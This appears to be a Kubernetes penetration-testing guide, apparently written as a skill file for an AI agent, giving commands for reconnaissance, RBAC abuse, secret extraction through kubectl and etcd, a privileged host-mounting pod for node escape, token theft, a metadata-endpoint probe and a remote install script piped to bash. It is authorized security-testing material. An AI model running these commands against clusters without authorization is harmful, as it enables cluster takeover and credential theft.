Performing Kubernetes Penetration Testing

Genel Bakış

Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.

Ne Zaman Kullanılır

• conducting yaparken security assessments that involve performing kubernetes penetration testing
• following yaparken: incident response procedures for related security events
• performing yaparken scheduled security testing or auditing activities
• validating yaparken security controls through hands-on testing

Ön Gereksinimler

• Authorized penetration testing engagement
• Kubernetes cluster access (various levels for different test scenarios)
• kube-hunter, kubescape, kube-bench installed
• kubectl configured
• Network Erişim: cluster components

Core Concepts

Kubernetes Attack Surface

Component	Port	Attack Vectors
API Server	6443	Auth bypass, RBAC abuse, anonymous access
Kubelet	10250/10255	Unauthenticated access, command execution
etcd	2379/2380	Unauthenticated read, secret extraction
Dashboard	8443	Default credentials, token theft
NodePort Services	30000-32767	Service exposure, application exploits
CoreDNS	53	DNS spoofing, zone transfer

MITRE ATT&CK for Kubernetes

Phase	Techniques
Initial Access	Exposed Dashboard, Kubeconfig theft, Application exploit
Execution	exec into container, CronJob, Dağıt: privileged pod
Persistence	Backdoor container, mutating webhook, static pod
Privilege Escalation	Privileged container, node access, RBAC abuse
Defense Evasion	Pod name mimicry, namespace hiding, log deletion
Credential Access	Secret extraction, service account token theft
Lateral Movement	Container escape, cluster internal services

İş Akışı

Adım 1: External Reconnaissance

nmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com

curl -k https://target-cluster.com:6443/api
curl -k https://target-cluster.com:6443/version

curl -k https://target-cluster.com:6443/api/v1/namespaces

curl -k https://node-ip:10250/pods
curl http://node-ip:10255/pods  # Read-only kubelet

Adım 2: Automated Scanning with kube-hunter

pip install kube-hunter

kube-hunter --remote target-cluster.com

kube-hunter --internal

kube-hunter --pod

kube-hunter --remote target-cluster.com --report json --log output.json

Adım 3: CIS Benchmark Assessment with kube-bench

kube-bench run --targets master

kube-bench run --targets node

kube-bench run --targets master --check 1.2.1,1.2.2,1.2.3

kube-bench run --json > kube-bench-results.json

kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs -l app=kube-bench

Adım 4: Framework Compliance with Kubescape

curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash

kubescape scan framework nsa

kubescape scan framework mitre

kubescape scan framework cis-v1.23-t1.0.1

kubescape scan framework nsa --namespace production

kubescape scan framework nsa --format json --output kubescape-report.json

Adım 5: RBAC Exploitation Testing

kubectl auth can-i --list

kubectl auth can-i create pods
kubectl auth can-i create pods --subresource=exec
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
kubectl auth can-i '*' '*'  # cluster-admin check

kubectl get serviceaccounts -A
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | {name: .metadata.name, namespace: .metadata.namespace}'

kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name=="system:anonymous" or .subjects[]?.name=="system:unauthenticated")'

kubectl --as=system:serviceaccount:default:default get pods

Adım 6: Secret Extraction Testing

kubectl get secrets -A

kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d

kubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'

kubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'

ETCDCTL_API=3 etcdctl --endpoints=https://etcd-ip:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets --prefix --keys-only

Adım 7: Pod Exploitation

cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: pentest-pod
  namespace: default
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: pentest
    image: ubuntu:22.04
    command: ["sleep", "infinity"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
EOF

kubectl exec -it pentest-pod -- bash

chroot /host

curl -k https://kubernetes.default.svc/api/v1/namespaces
cat /var/run/secrets/kubernetes.io/serviceaccount/token

Adım 8: Network Policy Testing

kubectl get networkpolicies -A

kubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http://target-service.namespace.svc

kubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http://example.com

kubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http://169.254.169.254/latest/meta-data/

Doğrulama Commands

kube-hunter --remote $CLUSTER_IP --report json

kubescape scan framework nsa --format json

kube-bench run --targets master,node --json

kubectl delete pod pentest-pod
kubectl delete pod test-netpol test-egress test-metadata

References

• kube-hunter - Kubernetes Penetration Testing
• Kubescape - Kubernetes Security Platform
• kube-bench - CIS Benchmark
• MITRE ATT&CK Containers Matrix
• Kubernetes Threat Matrix - Microsoft

<!-- ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih Yetkisiz kullanim/kopyalama tespit edilebilir. hash: 0b352477fd01227a -->